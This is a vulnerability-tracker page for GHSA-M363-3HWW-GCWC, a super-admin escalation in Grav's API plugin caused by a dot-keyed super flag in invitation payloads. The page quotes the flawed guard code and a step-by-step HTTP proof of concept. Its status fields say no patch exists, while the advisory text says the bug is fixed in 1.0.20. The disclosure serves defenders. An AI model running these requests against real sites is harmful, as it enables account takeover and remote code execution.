llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · getgrav/grav-plugin-api

GHSA-M363-3HWW-GCWC

Non-super user manager can mint a super-admin via a dot-keyed super flag in the invitation access payload

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
8.7
Alta
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición90 dDesde la divulgación, 21 ago 2026, 6:08 a. m.
Detección89 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
21 ago 26
18 nov 26
20 nov 26
21 ago 26
13 sept 26
5 oct 26
28 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-M363-3HWW-GCWC divulgada · CVSS 8.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`InvitationsController::stripSuperFlags()` — the guard that stops a non-super user manager from minting a super-admin through the invitation flow — only strips the nested form of the super flag (`['api' => ['super' => true]]`). Grav's permission resolver treats the dot-keyed form (`['api.super' => true]`) as fully equivalent, and that shape passes through the guard untouched.

A user manager holding `api.access` + `api.users.write` — the documented least-privilege delegation role, not a super-admin by any measure — can create an invitation whose `access` payload carries `{"api.super": true}`. Whoever accepts it through the public accept endpoint becomes a super-admin, and the accept response hands back that account's JWT immediately. No interaction with a real invitee is required.

Affected versions

grav-plugin-api 1.0.0 through 1.0.19 inclusive (introduced with the invitation feature in 1.0.0-rc.12). The vulnerable code lives entirely in the API plugin; Grav core is not affected and needs no patch.

Fixed in grav-plugin-api 1.0.20.

Details

`user/plugins/api/classes/Api/Controllers/InvitationsController.php`:

private function stripSuperFlags(array $access): array
{
    foreach (['admin', 'api'] as $scope) {
        if (isset($access[$scope]) && is_array($access[$scope])) {
            unset($access[$scope]['super']);   // nested form only
        }
    }
    return $access;                            // ['api.super' => true] survives
}

It is called from `create()` whenever the inviter is not super-within-scope, and the result is persisted into the invitation record and later applied verbatim to the new account in `accept()` via `$user->set('access', $record['access'])`.

Both access-tree shapes are live. `PermissionResolver::buildFlatAccess()` runs the account's access map through `Utils::arrayFlattenDotNotation()`, which collapses the nested form into exactly the literal key the dot-keyed form already is — so `resolveExact('api.super')` performs a plain `array_key_exists()` lookup that matches either shape identically, and `isSuperAdmin()` returns true for both. Nothing needs to "expand" the dot-key; it is already the resolver's canonical internal representation. `Data::save()` writes the account's items verbatim with no blueprint filtering, and the literal key survives the YAML round-trip intact.

The same equivalence holds on the classic side: core's `Grav\Common\User\Access::authorize()` also honours the dot-keyed form, so a smuggled `{"admin.super": true}` is live in `UserTrait::authorize()` as well. Only a naive `$user->get('access.admin.super')` read fails to see it.

The asymmetry is unintentional. `UsersController::accessGrantsSuper()` checks both shapes when deciding whether an access payload confers super, and its docblock says so explicitly. Five guards across the user-management surface route through it. `stripSuperFlags()` is the single place in the plugin that handles only one shape.

A contributing design factor: `UsersController::create()`/`update()` reject a super-granting payload with a 403, while the invitation path strips it. The strip design is what let an incomplete matcher fail open rather than closed.

Proof of concept

Step 0 — confirm the actor is not super:

POST /api/v1/auth/token        {"username":"usermgr","password":"..."}   -> access_token
GET  /api/v1/me                Authorization: Bearer <actor JWT>
# -> "super_admin": false

Step 1 — mint the invitation with the dot-keyed super flag:

POST /api/v1/invitations
Authorization: Bearer <actor JWT>
Content-Type: application/json

{"email": "plantedsuper@example.com", "access": {"api.super": true}}

-> 201 Created  {"data": {"token": "92b6de5b59...", ...}}

The same request using the nested form `{"api": {"super": true}}` is stripped as intended — the guard works, just not for this shape.

Step 2 — accept through the public endpoint, unauthenticated:

POST /api/v1/auth/invite/92b6de5b59...
Content-Type: application/json

{"username": "plantedsuper", "password": "Planted-passw0rd!", "fullname": "Planted Super"}

-> 200 {"data": {"access_token": "<planted account JWT>", ...}}

Step 3 — the planted account is a super-admin:

GET /api/v1/me                 Authorization: Bearer <planted JWT>
# -> "super_admin": true

GET /api/v1/config/system      Authorization: Bearer <planted JWT>   -> 200
GET /api/v1/config/system      Authorization: Bearer <actor JWT>     -> 403

Verified end to end, including the on-disk account file: the planted account's persisted `access` block contains the dot-keyed flag.

Impact
  • A delegated user-management role — the documented least-privilege way to let non-admins onboard users — can silently escalate to super-admin: full site configuration, plugin upload (remote code execution), and control of every account.
  • The escalation is one-shot and self-service. The accept endpoint is public by design and its response already carries the new super-admin session, so no second interaction with any real invitee is needed.
  • It is invisible to review. The invitation list does not expose the `access` block, so an operator auditing pending invites sees an ordinary invitation from a user manager.
Patches

Fixed in grav-plugin-api 1.0.20. `stripSuperFlags()` now removes both the nested and the dot-keyed form of `admin.super` and `api.super`, matching the two-shape check `UsersController::accessGrantsSuper()` has always performed.

Operators must also review pending invitations. Invitations persist for up to seven days by default, so an invitation minted before upgrading can still carry a smuggled super flag. Upgrading alone does not neutralise records already in the store — audit or purge pending invitations as part of remediation.

Credits

Reported by @1K0CT. Thank you for the clear write-up and for identifying the exact asymmetry against `accessGrantsSuper()`.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:H
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:H
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
getgrav/grav-plugin-api≤ 1.0.19
1.0.19
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav-plugin-api
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/getgrav/grav/security/advisories/GHSA-m363-3hww-gcwc

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.